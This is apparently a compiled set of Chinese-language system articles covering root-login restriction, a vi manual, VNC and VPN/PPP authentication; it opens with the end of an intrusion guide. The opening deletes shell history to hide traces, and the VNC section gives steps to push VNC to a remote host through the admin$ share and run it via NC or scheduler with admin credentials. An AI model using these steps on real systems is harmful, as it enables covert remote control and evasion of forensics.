-rw------- 1 root other 456 2月 4 20:27 .sh_history

# rm -f .*history

# cd

# pwd

/home/gao

# ls -al /.*history

-rw------- 1 root other 456 2月 4 20:27 .sh_history

# rm -f .*history

ok, 一个脚本加一个程序．再加一个操作，能保证你基本安全了．：）

当然如果你对系统有进一步了解，就能发现．这样清除还是有问题的．：）

好了．不说了．

最后放上我常去的几个网站．

1. securityfocus

http://www.securityfocus.com

2. packet storm

http://packetstorm.securify.com

3. www.hack.co.za

http://www.hack.co.za/

4. lsd-pl.net

http://www.lsd-pl.net/

5. securiteam

http://www.securiteam.com/

6. Stardust's exploit search

http://st4rdust.heha.net/query.html

7. CNNS

http://www.cnns.net/


Unix中限制root远程登录的方法

UNIX系统中，计算机安全系统建立在身份验证机制上。如果root口令失密，系统将会受到侵害，尤其在网络环境中，后果更不堪设想。因此限制用户 root 远程登录，对保证计算机系统的安全，具有实际意义。本文向大家介绍一些方法，能达到限制 root 远程登录的目的。

    方法一：在/etc/default/login 文件，增加一行设置命令：

    CONSOLE = /dev/tty01

    设置后立即生效,无需重新引导。以后，用户只能在控制台（/dev/tty01）root登录，从而达到限制root远程登录，不过，同时也限制了局域网用户root登录，给管理员的日常维护工作带来诸多不便。

    方法二：1.为了达到限制root远程登录，首先要分清哪些用户是远程用户（即是否通过另一台 Windows 系统或 UNIX 系统进行 telnet 登录），哪些用户是局域网用户。通过以下shell程序能达到此目的。

    TY=`tty | cut -b 9-12`

    WH=`finger | cut -b 32-79 | grep "$TY " | cut -b 29-39`

    KK=` tty | cut -b 6-9`

    If [ "$KK" = "ttyp" ]

    Then

     WH=$WH

    Else

     WH="local"

    Fi

    以上Shell命令程序中，WH为登录用户的主机IP地址，但如果在 /etc/hosts 文件中，定义了IP 地址和机器名之间的对应关系，则 WH 为用户登录的主机名。假设连接到局域网中的终端服务器的IP 地址为：99.57.32.18, 那么应在 /etc/hosts 文件中加入一行：

    99.57.32.18 terminal_server

    所有通过99.57.32.18终端服务器登录到主机的终端中，WH 是同一个值，即为终端服务器名terminal_server。

    2.在root的.profile文件中，根据 WH 值进行不同的处理，从而实现限制root远程登录。

    Trap 1 2 3 9 15

    If [ "$WH" = "local" -o "$WH" = "terminal_server" ]

    Then

     Echo "Welcome......"

    Else

     Exit

    Fi

    方法三：有时为了工作的方便，允许局域网中部分电脑root登录,例如，允许局域网中IP 地址为 99.57.32.58 的电脑root登录，要实现这一点，需要在前述方法中，作两点补充：

    1.在 /etc/hosts 文件中，加入一行：99.57.32.58 xmh。

    2.在上述 Shell 程序段中，将下述内容：

    If [ "$WH" = "local" -o "$WH" = "terminal_server" ]

    修改为：

    If [ "$WH" = "local" -o "$WH" = "terminal_server" -o "$WH"= "xmh" ]

    方法四：经过以上处理后，仍存在普通用户登录后用su命令变成 root 用户的可能，从而达到 root 远程登录的目的。为了防止用这种方法实现 root 远程登录，需要限制普通用户不能执行 su 命令：

    1.将su命令属主改为 root；

    2.将su命令的权限改为 700。

    方法五：在上述方法中，虽限制了普通用户执行su 命令，但“精明”的用户可以用 ftp 命令上载一个用户可以执行的 su命令，从而实现 root 远程登录。为了防止这一点，需要在路由器上设立防火墙，限制用户执行ftp协议，这里不再赘述。


Vi 使用说明

Vi 使用说明(转自水木清华)

寄信人: life (★一梦如是★)
标 题: Vi 使用说明
发信站: BBS 水木清华站 (Wed Jan 22 19:44:58 1997)
来 源: 166.111.10.128

档案叙述：Vi 使用说明
文件编号：LRG.BUDP.001
完成日期：1995/09/06
文件维护：asdchen@pc2.hinet.net O
---------------------------------------------------------------Ｘ---
O
Vi 简介

Vi 是 Unix 世界里极为普遍的全萤幕文书编辑器，几乎可以说任何一台 Unix 机器都
会提供这套软体。Linux 当然也有，它的 vi 其实是 elvis（版权问题），不过它们都
差不多。熟悉 DOS 下的文书处理後，也许会感到 vi 并不好用；Unix 上也已经发展出
许多更新、更好用的文书编辑器，但是并不一定每一台 Unix 机器上都会安装这些额外
的软体。所以，学习 vi 的基本操作还是有好处，让你在各个不同的机器上得心应手。

Vi 基本观念

Unix 提供一系列的 ex 编辑器，包括 ex, edit 和 vi 。相对於全萤幕编辑器，现在
可能很难想像如何使用 ex, edit 这种行列编辑器（有人用过 DOS 3.3 版以前所附的
EDLIN 吗？）。 Vi 的原意是 "Visual"，它是一个立即反应的编辑程式，也就是说可
以立刻看到操作结果。

也由於 vi 是全萤幕编辑器，所以它必须控制整个终端机萤幕哪里该显示些什麽。而终
端机的种类有许多种，特性又不尽相同，所以 vi 有必要知道现在所使用的是哪一种终
端机。这是藉由 TERM 这个环境变数来设定，设定环境变数方面请查看所使用 shell
的说明。（除非执行 vi 的时候回应 unknow terminal type ，否则可以不用设定。）

只要简单的执行 vi 就可以进入 vi 的编辑环境。在实际操作之前先对它有个概略的了
解会比较好。Vi 有两种模式，输入模式以及指令模式。输入模式即是用来输入文字资
料，而指令模式则是用来下达一些编排文件、存档、以及离开 vi 等等的操作指令。当
执行 vi 後，会先进入指令模式，此时输入的任何字元都视为指令。

进入与离开

要进入 vi 可以直接在系统提示字元下键入 vi ＜档案名称＞，vi 可以自动帮你载入
所要编辑的档案或是开启一个新档。进入 vi 後萤幕左方会出现波浪符号，凡是列首有
该符号就代表此列目前是空的。要离开 vi 可以在指令模式下键入 :q, :wq 指令则是
存档後再离开（注意冒号）。要切换到指令模式下则是用 [ESC] 键，如果不晓得现在
是处於什麽模式， 可以多按几次 [ESC]，系统会发出哔哔声以确定进入指令模式。

Vi 输入模式

要如何输入资料呢？有好几个指令可以进入输入模式：

新增 (append)
a 从游标所在位置後面开始新增资料，游标後的资料随新增资料向後移动。
A 从游标所在列最後面的地方开始新增资料。

插入 (insert)
i 从游标所在位置前面开始插入资料，游标後的资料随新增资料向後移动。
I 从游标所在列的第一个非空白字元前面开始插入资料。

开始 (open)
o 在游标所在列下新增一列并进入输入模式。
O 在游标所在列上方新增一列并进入输入模式。

也许文字叙述看起来有点繁杂，但是只要实际操作一下马上可以了解这些操作方式。实
务很重要，尤其是电脑方面的东西随时可以尝试及验证结果。极力建议实际去使用它而
不要只是猛 Ｋ 文件，才有事半功倍的效用。（注：此段为废话。）

Vi 基本编辑

配合一般键盘上的功能键，像是方向键、[Insert] 、[Delete] 等等，现在你应该已经
可以利用 vi 来处理文字资料了。当然 vi 还提供其他许许多多功能让文字的处理更形
方便，有兴趣的看倌请继续。

在继续下去之前先来点 BCC 吧。电脑有许多厂牌，不同的硬体及作业系统。PC 也不是
仅仅只有 IBM PC 及其相容品而已。事实上，包括键盘，终端机等等往往都有不同的规
格。这代表什麽？

在文书编辑软体上会遇这样的问题，某些电脑的键盘上没有特定的几个功能键！那麽不
就有某些功能不能用了？这个问题在 Unix 系统上也一样，几乎各大电脑厂商都有自己
的 Unix 系统，而 vi 的操作方法也会随之有点出入。我们固然可以用 PC 的键盘来说
明 vi 的操作，但是还是得提一下这个问题。

删除与修改

何谓编辑？在这里我们认为是文字的新增修改以及删除，甚至包括文字区块的搬移、复
制等等。这里先介绍 vi 的如何做删除与修改。（注意：在 vi 的原始观念里，输入跟
编辑是两码子事。编辑是在指令模式下操作的，先利用指令移动游标来定位要进行编辑
的地方，然後才下指令做编辑。）

x 删除游标所在字元。
dd 删除游标所在的列。
r 修改游标所在字元，r 後接著要修正的字元。
R 进入取代状态，新增资料会覆盖原先资料，直到按 [ESC] 回到指令模式下为止。
s 删除游标所在字元，并进入输入模式。
S 删除游标所在的列，并进入输入模式。

其实呢，在 PC 上根本没有这麽麻烦！输入跟编辑都可以在输入模式下完成。例如要删
除字元，直接按 [Delete] 不就得了。而插入状态与取代状态可以直接用 [Insert] 切
换，犯不著用什麽指令模式的编辑指令。不过就如前面所提到的，这些指令几乎是每台
终端机都能用，而不是仅仅在 PC 上。

在指令模式下移动游标的基本指令是 h, j, k, l 。想来各位现在也应该能猜到只要直
接用 PC 的方向键就可以了，而且无论在指令模式或输入模式下都可以。多容易不是。

当然 PC 键盘也有不足之处。有个很好用的指令 u 可以恢复被删除的资料，而 U 指令
则可以恢复游标所在列的所有改变。这与某些电脑上的 [Undo] 按键功能相同。

Vi 进阶应用

相信现在对於 vi 应该已经有相当的认识。处理文字也不会有什麽麻烦才对。如果有兴
趣善用 vi 的其它功能进一步简化操作过程，不妨继续看下去。

移动游标

由於许多编辑工作是藉由游标来定位，所以 vi 提供许多移动游标的方式，这个我们列
几张简表来说明（这些当然是指令模式下的指令）：

┌—————┬—————————————┬—————┐
│指令 │说明 │功能键 │
├—————┼—————————————┼—————┤
│0 │移动到游标所在列的最前面 │[Home] │
├—————┼—————————————┼—————┤
│$ │移动到游标所在列的最後面 │[End] │
├—————┼—————————————┼—————┤
│[CTRL][d] │向下半页 │ │
├—————┼—————————————┼—————┤
│[CTRL][f] │向下一页 │[PageDown]│
├—————┼—————————————┼—————┤
│[CTRL][u] │向上半页 │ │
├—————┼—————————————┼—————┤
│[CTRL][b] │向上一页 │[PageUp] │
└—————┴—————————————┴—————┘
┌——┬—————————————————┐
│指令│说明 │
├——┼—————————————————┤
│H │移动到视窗的第一列 │
├——┼—————————————————┤
│M │移动到视窗的中间列 │
├——┼—————————————————┤
│L │移动到视窗的最後列 │
├——┼—————————————————┤
│b │移动到下个字的第一个字母 │
├——┼—————————————————┤
│w │移动到上个字的第一个字母 │
├——┼—————————————————┤
│e │移动到下个字的最後一个字母 │
├——┼—————————————————┤
│^ │移动到游标所在列的第一个非空白字元│
└——┴—————————————————┘
┌——┬———————————————————┐
│指令│说明 │
├——┼———————————————————┤
│n- │减号移动到上一列的第一个非空白字元 │
│ │前面加上数字可以指定移动到以上 n 列 │
├——┼———————————————————┤
│n+ │加号移动到下一列的第一个非空白字元 │
│ │前面加上数字可以指定移动到以下 n 列 │
├——┼———————————————————┤
│nG │直接用数字 n 加上大写 G 移动到第 n 列 │
└——┴———————————————————┘
┌————┬———————————————┐
│指令 │说明 │
├————┼———————————————┤
│fx │往右移动到 x 字元上 │
│Fx │往左移动到 x 字元上 │
├————┼———————————————┤
│tx │往右移动到 x 字元前 │
│Tx │往左移动到 x 字元前 │
├————┼———————————————┤
│; │配合 f&t 使用，重复一次 │
│, │配合 f&t 使用，反方向重复一次 │
├————┼———————————————┤
│/string │往右移动到有 string 的地方 │
│?string │往左移动到有 string 的地方 │
├————┼———————————————┤
│n │配合 /&? 使用，重复一次 │
│N │配合 /&? 使用，反方向重复一次 │
└————┴———————————————┘
┌————┬———————————————————┬——————————┐
│指令 │说明 │备注 │
├————┼———————————————————┼——————————┤
│n( │左括号移动到句子的最前面 │句子是以 │
│ │前面加上数字可以指定往前移动 n 个句子 │! . ? 三种符号来界定│
│n) │右括号移动到下个句子的最前面 │ │
│ │前面加上数字可以指定往後移动 n 个句子 │ │
├————┼———————————————————┼——————————┤
│n{ │左括弧移动到段落的最前面 │段落是以 │
│ │前面加上数字可以指定往前移动 n 个段落 │段落间的空白列界定 │
│n} │右括弧移动到下个段落的最前面 │ │
│ │前面加上数字可以指定往後移动 n 个段落 │ │
└————┴———————————————————┴——————————┘

不要尝试背诵这些指令，否则後果自行负责。它们看起来又多又杂乱，事实上这是文字
叙述本身的障碍。再强调一次，实际去使用它只要几次就可以不经大脑直接下达这些奇
奇怪怪的指令，远比死记活背搞得模模糊糊强多了。（注：若真的不经大脑而误删资料
与我无关。另，此段为废话。）

进阶编辑指令

这些编辑指令非常有弹性，基本上可以说是由指令与范围所构成。例如 dw 是由删除指
令 d 与范围 w 所组成，代表删除一个字 d(elete) w(ord) 。

指令列表如下：

d 删除(delete)
y 复制(yank)
p 放置(put)
c 修改(change)

范围可以是下列几个：

e 游标所在位置到该字的最後一个字母
w 游标所在位置到下个字的第一个字母
b 游标所在位置到上个字的第一个字母
$ 游标所在位置到该列的最後一个字母
0 游标所在位置到该列的第一个字母
) 游标所在位置到下个句子的第一个字母
( 游标所在位置到该句子的第一个字母
} 游标所在位置到该段落的最後一个字母
{ 游标所在位置到该段落的第一个字母

说实在的，组合这些指令来编辑文件有一点点艺术气息。不管怎麽样，它们提供更多编
辑文字的能力。值得注意的一点是删除与复制都会将指定范围的内容放到暂存区里，然
後就可以用指令 p 贴到其它地方去，这是 vi 用来处理区段拷贝与搬移的办法。

某些 vi 版本，例如 Linux 所用的 elvis 可以大幅简化这一坨指令。如果稍微观察一
下这些编辑指令就会发现问题其实是定范围的方式有点杂，实际上只有四个指令罢了。
指令 v 非常好用，只要按下 v 键，游标所在的位置就会反白，然後就可以移动游标来
设定范围，接著再直接下指令进行编辑即可。

对於整列操作， vi 另外提供了更方便的编辑指令。前面曾经提到过删除整列文字的指
令 dd 就是其中一个；cc 可以修改整列文字；而 yy 则是复制整列文字；指令 D 则可
以删除游标到该列结束为止所有的文字。

档案指令

档案指令多以 : 开头，跟编辑指令有点区别。例如前面提到结束编辑的指令就是 :q。
现在就简单说明一下作为本篇故事的结尾：

:q 结束编辑(quit)
如果不想存档而要放弃编辑过的档案则用 :q! 强制离开。
:w 存档(write)
其後可加所要存档的档名。
可以将档案指令合在一起，例如 :wq 即存档後离开。
zz 功能与 :wq 相同。

另外值得一提的是 vi 的部份存档功能。可以用 :n,mw filename 将第 n 列到第 m 列
的文字存放的所指定的 filename 里去哩。时代在变，世界在变， vi 也在变，不过大
致上就这样。好了，但愿从此以後王子跟公主过著幸福快乐的生活。


VNC的远程安装

VNC是AT＆T公司的远程管理软件，和终端服务类似，和终端不同的地方在于终端服务连接上去是开启了一个会话，而VNC则是和当前正在登录的用户共用同一个会话。这也就是说，你可以和当前登录的用户同时操作，他所作的一切你都可以看见，反之亦然。

VNC并没有提供远程安装的功能，经过一个下午的摸索，我终于找到了远程安装的方法。

1、首先在自己的系统上安装VNC，并且将VNC安装为服务(在装完VNC后，菜单中提供一项功能可以直接在本机装为服务）。

2、服务启动以后，会在任务栏出现一个小图标，这个时候必须设置一个密码（否则VNC不允许远程连接）。这个密码同时也是将来我们安装到远程时候的密码。

3、使用注册表工具将VNC在本机的设置导出。

regedit /e HKEY_CURRENT_USER\software\ORL vnc1.reg

regedit /e HKEY_LOCAL_MACHINE\software\ORL vnc2.reg

4、将vnc1.reg和vnc2.reg合并为一个文件vnc.reg（怎么合并就不用说了吧C&P）。

这时候的vnc.reg文件看起来应该是这样的（具体系统会有所不同）

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\software\ORL]

[HKEY_CURRENT_USER\software\ORL\WinVNC3]
"SocketConnect"=dword:00000001
"AutoPortSelect"=dword:00000001
"InputsEnabled"=dword:00000001
"LocalInputsDisabled"=dword:00000000
"IdleTimeout"=dword:00000000
"QuerySetting"=dword:00000002
"QueryTimeout"=dword:0000000a
"Password"=hex:fd,9d,5b,8d,77,f7,ea,8d
"PollUnderCursor"=dword:00000000
"PollForeground"=dword:00000001
"PollFullScreen"=dword:00000001
"OnlyPollConsole"=dword:00000001
"OnlyPollOnEvent"=dword:00000000

[HKEY_LOCAL_MACHINE\software\ORL]

[HKEY_LOCAL_MACHINE\software\ORL\WinVNC3]

[HKEY_LOCAL_MACHINE\software\ORL\WinVNC3\default]
"SocketConnect"=dword:00000001
"AutoPortSelect"=dword:00000001
"InputsEnabled"=dword:00000001
"LocalInputsDisabled"=dword:00000000
"IdleTimeout"=dword:00000000
"QuerySetting"=dword:00000002
"QueryTimeout"=dword:0000000a
"Password"=hex:fd,9d,5b,8d,77,f7,ea,8d
"PollUnderCursor"=dword:00000000
"PollForeground"=dword:00000001
"PollFullScreen"=dword:00000001
"OnlyPollConsole"=dword:00000001
"OnlyPollOnEvent"=dword:00000000

[\HKEY_USERS\.DEFAULT\Software\ORL]

[\HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3]
"SocketConnect"=dword:00000001
"AutoPortSelect"=dword:00000001
"InputsEnabled"=dword:00000001
"LocalInputsDisabled"=dword:00000000
"IdleTimeout"=dword:00000000
"QuerySetting"=dword:00000002
"QueryTimeout"=dword:0000000a
"Password"=hex:fd,9d,5b,8d,77,f7,ea,8d
"PollUnderCursor"=dword:00000000
"PollForeground"=dword:00000001
"PollFullScreen"=dword:00000001
"OnlyPollConsole"=dword:00000001
"OnlyPollOnEvent"=dword:00000000
5、将需要远程安装的文件复制到同一个目录下面。

Msvcirt.dll
Msvcrt.dll
omnithread_rt.dll
RegDll.exe
vnc.reg
VNCHooks.dll

6、将vnc.reg和RunAsEx.exe（www.netXeyes.com)复制到这个目录下。

7、为了安装方便写一个BAT文件reg.bat，也放到这个目录下，这个文件的内容如下：

runasex %1 %2 winvnc.exe "-install"
runasex %1 %2 regedit.exe "/s \winnt\vnc.reg"
net start winvnc

这时候，所有需要的文件都已经准备完成了，如下所列：

Msvcirt.dll
Msvcrt.dll
omnithread_rt.dll
reg.bat
RegDll.exe
RunAsEx.exe
vnc.reg
VNCHooks.dll

8、将文件复制到远程主机（需要Administrators组的权限）。

copy *.* \\xxx.xxx.xxx.xxx\admin$

9、利用NTCMD或者NC或者Schedule服务一类的东西在远程主机中执行如下命令。

reg.bat <用户名> <密码>

用户名和密码就是远程系统具有Administrators权限的用户名和密码。

10、利用vnc_viewer连接。

另：我这篇文章写的很简单，在实际中可能会遇到这样或者那样的问题。自己实践过的东西才是自己的，这也是我没有写的非常详细的原因。

自己动手实践是一种乐趣，Good Luck!


VPN技术详解

引言
虚拟专用网络可以实现不同网络的组件和资源之间的相互连接。虚拟专用网络能够利用Internet或其它公共互联网络的基础设施为用户创建隧道，并提供与专用网络一样的安全和功能保障。

虚拟专用网络允许远程通讯方，销售人员或企业分支机构使用Internet等公共互联网络的路由基础设施以安全的方式与位于企业局域网端的企业服务器建立连接。虚拟专用网络对用户端透明，用户好象使用一条专用线路在客户计算机和企业服务器之间建立点对点连接，进行数据的传输。

    虚拟专用网络技术同样支持企业通过Internet等公共互联网络与分支机构或其它公司建立连接，进行安全的通讯。这种跨越Internet建立的VPN连接逻辑上等同于两地之间使用广域网建立的连接。

    虽然VPN通讯建立在公共互联网络的基础上，但是用户在使用VPN时感觉如同在使用专用网络进行通讯，所以得名虚拟专用网络。

    使用VPN技术可以解决在当今远程通讯量日益增大，企业全球运作广泛分布的情况下，员工需要访问中央资源，企业相互之间必须进行及时和有效的通讯的问题。

    如果希望企业员工无论身处何地都能够与企业计算资源建立连接，企业必须采用一个可靠性高、扩展性强的远程访问解决方案。一般的，企业有如下选择：

1.管理信息系统（MIS）部门驱动方案。建立一个内部的MIS部门专门负责购买，安装和维护企业modem池和专用网络基础设施。

2.增值网络（VAN）方案。企业雇佣一个外部公司负责购买，安装和维护modem池和远程通讯网络基础设施。

    从费用，可靠性，管理和便于连接等几方面来看，这两种方案都不能最大程度的满足企业对网络安全性或扩展性的要求。因此，选择一种基于Internet技术的廉价方案取代企业花费在modem池和专用网络基础设施上的投资就显得极为重要。

虚拟专用网络的基本用途

通过Internet实现远程用户访问
    虚拟专用网络支持以安全的方式通过公共互联网络远程访问企业资源。

与使用专线拨打长途或（1-800）电话连接企业的网络接入服务器（NAS）不同，虚拟专用网络用户首先拨通本地ISP的NAS，然后VPN软件利用与本地ISP建立的连接在拨号用户和企业VPN服务器之间创建一个跨越Internet或其它公共互联网络的虚拟专用网络。

通过Internet实现网络互连

    可以采用以下两种方式使用VPN连接远程局域网络。

1.使用专线连接分支机构和企业局域网。
    不需要使用价格昂贵的长距离专用电路，分支机构和企业端路由器可以使用各自本地的专用线路通过本地的ISP连通Internet。VPN软件使用与当本地ISP建立的连接和Internet网络在分支机构和企业端路由器之间创建一个虚拟专用网络。

2.使用拨号线路连接分支机构和企业局域网。
    不同于传统的使用连接分支机构路由器的专线拨打长途或（1-800）电话连接企业NAS的方式，分支机构端的路由器可以通过拨号方式连接本地ISP。VPN软件使用与本地ISP建立起的连接在分支机构和企业端路由器之间创建一个跨越Internet的虚拟专用网络。

应当注意在以上两种方式中，是通过使用本地设备在分支机构和企业部门与Internet之间建立连接。无论是在客户端还是服务器端都是通过拨打本地接入电话建立连接，因此VPN可以大大节省连接的费用。建议作为VPN服务器的企业端路由器使用专线连接本地ISP。VPN服务器必须一天24小时对VPN数据流进行监听。

连接企业内部网络计算机

    在企业的内部网络中，考虑到一些部门可能存储有重要数据，为确保数据的安全性，传统的方式只能是把这些部门同整个企业网络断开形成孤立的小网络。这样做虽然保护了部门的重要信息，但是由于物理上的中断，使其他部门的用户无法，造成通讯上的困难。

采用VPN方案，通过使用一台VPN服务器既能够实现与整个企业网络的连接，又可以保证保密数据的安全性。路由器虽然也能够实现网络之间的互联，但是并不能对流向敏感网络的数据进行限制。使用VPN服务器，但是企业网络管理人员通过使用VPN服务器，指定只有符合特定身份要求的用户才能连接VPN服务器获得访问敏感信息的权利。此外，可以对所有VPN数据进行加密，从而确保数据的安全性。没有访问权利的用户无法看到部门的局域网络。

VPN的基本要求

    一般来说，企业在选用一种远程网络互联方案时都希望能够对访问企业资源和信息的要求加以控制，所选用的方案应当既能够实现授权用户与企业局域网资源的自由连接，不同分支机构之间的资源共享；又能够确保企业数据在公共互联网络或企业内部网络上传输时安全性不受破坏.因此，最低限度，一个成功的VPN方案应当能够满足以下所有方面的要求：

1.用户验证
    VPN方案必须能够验证用户身份并严格控制只有授权用户才能访问VPN。另外，方案还必须能够提供审计和记费功能，显示何人在何时访问了何种信息。

2.地址管理
    VPN方案必须能够为用户分配专用网络上的地址并确保地址的安全性。

3.数据加密
    对通过公共互联网络传递的数据必须经过加密，确保网络其他未授权的用户无法读取该信息。

4.密钥管理
    VPN方案必须能够生成并更新客户端和服务器的加密密钥。

5.多协议支持
    VPN方案必须支持公共互联网络上普遍使用的基本协议，包括IP，IPX等。以点对点隧道协议（PPTP）或第2层隧道协议（L2TP）为基础的VPN方案既能够满足以上所有的基本要求，又能够充分利用遍及世界各地的Internet互联网络的优势。其它方案，包括安全IP协议（IPSec)，虽然不能满足上述全部要求，但是仍然适用于在特定的环境。本文以下部分将主要集中讨论有关VPN的概念，协议，和部件（component）。

隧道技术基础

    隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据（或负载）可以是不同协议的数据桢（此字不正确）或包。隧道协议将这些其它协议的数据桢或包重新封装在新的包头中发送。新的包头提供了路由信息，从而使封装的负载数据能够通过互联网络传递。

    被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点，数据将被解包并转发到最终目的地。注意隧道技术是指包括数据封装，传输和解包在内的全过程。

隧道所使用的传输网络可以是任何类型的公共互联网络，本文主要以目前普遍使用Internet为例进行说明。此外，在企业网络同样可以创建隧道。隧道技术在经过一段时间的发展和完善之后，目前较为成熟的技术包括：

1.IP网络上的SNA隧道技术
    当系统网络结构（SystemNetworkArchitecture）的数据流通过企业IP网络传送时，SNA数据桢将被封装在UDP和IP协议包头中。

2.IP网络上的NovellNetWareIPX隧道技术
    当一个IPX数据包被发送到NetWare服务器或IPX路由器时，服务器或路由器用UDP和IP包头封装IPX数据包后通过IP网络发送。另一端的IP-TO-IPX路由器在去除UDP和IP包头之后，把数据包转发到IPX目的地。

    近几年不断出现了一些新的隧道技术，本文将主要介绍这些新技术。具体包括：

1.点对点隧道协议（PPTP）
    PPTP协议允许对IP，IPX或NetBEUI数据流进行加密，然后封装在IP包头中通过企业IP网络或公共互联网络发送。

2.第2层隧道协议（L2TP）
    L2TP协议允许对IP，IPX或NetBEUI数据流进行加密，然后通过支持点对点数据报传递的任意网络发送，如IP，X.25，桢中继或ATM。

3.安全IP（IPSec)隧道模式
    IPSec隧道模式允许对IP负载数据进行加密，然后封装在IP包头中通过企业IP网络或公共IP互联网络如Internet发送。

隧道协议

    为创建隧道，隧道的客户机和服务器双方必须使用相同的隧道协议。

    隧道技术可以分别以第2层或第3层隧道协议为基础。上述分层按照开放系统互联（OSI）的参考模型划分。第2层隧道协议对应OSI模型中的数据链路层，使用桢作为数据交换单位。PPTP，L2TP和L2F（第2层转发）都属于第2层隧道协议，都是将数据封装在点对点协议（PPP）桢中通过互联网络发送。第3层隧道协议对应OSI模型中的网络层，使用包作为数据交换单位。IP overIP以及IPSec隧道模式都属于第3层隧道协议，都是将IP包封装在附加的IP包头中通过IP网络传送。

隧道技术如何实现

    对于象PPTP和L2TP这样的第2层隧道协议，创建隧道的过程类似于在双方之间建立会话；隧道的两个端点必须同意创建隧道并协商隧道各种配置变量，如地址分配，加密或压缩等参数。绝大多数情况下，通过隧道传输的数据都使用基于数据报的协议发送。隧道维护协议被用来作为管理隧道的机制。

    第3层隧道技术通常假定所有配置问题已经通过手工过程完成。这些协议不对隧道进行维护。与第3层隧道协议不同，第2层隧道协议（PPTP和L2TP）必须包括对隧道的创建，维护和终止。

    隧道一旦建立，数据就可以通过隧道发送。隧道客户端和服务器使用隧道数据传输协议准备传输数据。例如，当隧道客户端向服务器端发送数据时，客户端首先给负载数据加上一个隧道数据传送协议包头，然后把封装的数据通过互联网络发送，并由互联网络将数据路由到隧道的服务器端。隧道服务器端收到数据包之后，去除隧道数据传输协议包头，然后将负载数据转发到目标网络。

隧道协议和基本隧道要求

    因为第2层隧道协议（PPTP和L2TP）以完善的PPP协议为基础，因此继承了一整套的特性。

1.用户验证
    第2层隧道协议继承了PPP协议的用户验证方式。许多第3层隧道技术都假定在创建隧道之前，隧道的两个端点相互之间已经了解或已经经过验证。一个例外情况是IPSec协议的ISAKMP协商提供了隧道端点之间进行的相互验证。

2.令牌卡（Tokencard）支持
    通过使用扩展验证协议（EAP），第2层隧道协议能够支持多种验证方法，包括一次性口令（one-timepassword)，加密计算器（cryptographic calculator）和智能卡等。第3层隧道协议也支持使用类似的方法，例如，IPSec协议通过ISAKMP/Oakley协商确定公共密钥证书验证。

3.动态地址分配
    第2层隧道协议支持在网络控制协议（NCP）协商机制的基础上动态分配客户地址。第3层隧道协议通常假定隧道建立之前已经进行了地址分配。目前IPSec隧道模式下的地址分配方案仍在开发之中。

4.数据压缩
    第2层隧道协议支持基于PPP的数据压缩方式。例如，微软的PPTP和L2TP方案使用微软点对点加密协议（MPPE）。IETP正在开发应用于第3层隧道协议的类似数据压缩机制。

5.数据加密
    第2层隧道协议支持基于PPP的数据加密机制。微软的PPTP方案支持在RSA/RC4算法的基础上选择使用MPPE。第3层隧道协议可以使用类似方法，例如，IPSec通过ISAKMP/Oakley协商确定几种可选的数据加密方法。微软的L2TP协议使用IPSec加密保障隧道客户端和服务器之间数据流的安全。

6.密钥管理
    作为第2层协议的MPPE依靠验证用户时生成的密钥，定期对其更新。IPSec在ISAKMP交换过程中公开协商公用密钥，同样对其进行定期更新。

7.多协议支持
    第2层隧道协议支持多种负载数据协议，从而使隧道客户能够访问使用IP，IPX，或NetBEUI等多种协议企业网络。相反，第3层隧道协议，如IPSec隧道模式只能支持使用IP协议的目标网络。

点对点协议

    因为第2层隧道协议在很大程度上依靠PPP协议的各种特性，因此有必要对PPP协议进行深入的探讨。PPP协议主要是设计用来通过拨号或专线方式建立点对点连接发送数据。PPP协议将IP，IPX和NETBEUI包封装在PP桢内通过点对点的链路发送。PPP协议主要应用于连接拨号用户和NAS。 PPP拨号会话过程可以分成4个不同的阶段。分别如下：

阶段1：创建PPP链路

    PPP使用链路控制协议（LCP）创建，维护或终止一次物理连接。在LCP阶段的初期，将对基本的通讯方式进行选择。应当注意在链路创建阶段，只是对验证协议进行选择，用户验证将在第2阶段实现。同样，在LCP阶段还将确定链路对等双方是否要对使用数据压缩或加密进行协商。实际对数据压缩/加密算法和其它细节的选择将在第4阶段实现。

阶段2：用户验证

    在第2阶段，客户会PC将用户的身份明发给远端的接入服务器。该阶段使用一种安全验证方式避免第三方窃取数据或冒充远程客户接管与客户端的连接。大多数的PPP方案只提供了有限的验证方式，包括口令验证协议（PAP），挑战握手验证协议（CHAP）和微软挑战握手验证协议（MSCHAP）。

1.口令验证协议（PAP）

    PAP是一种简单的明文验证方式。NAS要求用户提供用户名和口令，PAP以明文方式返回用户信息。很明显，这种验证方式的安全性较差，第三方可以很容易的获取被传送的用户名和口令，并利用这些信息与NAS建立连接获取NAS提供的所有资源。所以，一旦用户密码被第三方窃取，PAP无法提供避免受到第三方攻击的保障措施。

2.挑战-握手验证协议（CHAP）

    CHAP是一种加密的验证方式，能够避免建立连接时传送用户的真实密码。NAS向远程用户发送一个挑战口令（challenge），其中包括会话ID和一个任意生成的挑战字串（arbitrary challengestring）。远程客户必须使用MD5单向哈希算法（one-wayhashingalgorithm）返回用户名和加密的挑战口令，会话ID以及用户口令，其中用户名以非哈希方式发送。

  CHAP对PAP进行了改进，不再直接通过链路发送明文口令，而是使用挑战口令以哈希算法对口令进行加密。因为服务器端存有客户的明文口令，所以服务器可以重复客户端进行的操作，并将结果与用户返回的口令进行对照。CHAP为每一次验证任意生成一个挑战字串来防止受到再现攻击（replay attack).在整个连接过程中，CHAP将不定时的向客户端重复发送挑战口令，从而避免第3方冒充远程客户（remoteclient impersonation)进行攻击。

3.微软挑战-握手验证协议（MS-CHAP）

    与CHAP相类似，MS-CHAP也是一种加密验证机制。同CHAP一样，使用MS-CHAP时，NAS会向远程客户发送一个含有会话ID和任意生成的挑战字串的挑战口令。远程客户必须返回用户名以及经过MD4哈希算法加密的挑战字串，会话ID和用户口令的MD4哈希值。采用这种方式服务器端将只存储经过哈希算法加密的用户口令而不是明文口令，这样就能够提供进一步的安全保障。此外，MS-CHAP同样支持附加的错误编码，包括口令过期编码以及允许用户自己修改口令的加密的客户-服务器（client-server)附加信息。使用MS-CHAP，客户端和NAS双方各自生成一个用于随后数据加密的起始密钥。MS-CHAP使用基于MPPE的数据加密，这一点非常重要，可以解释为什么启用基于MPPE的数据加密时必须进行MS-CHAP验证。
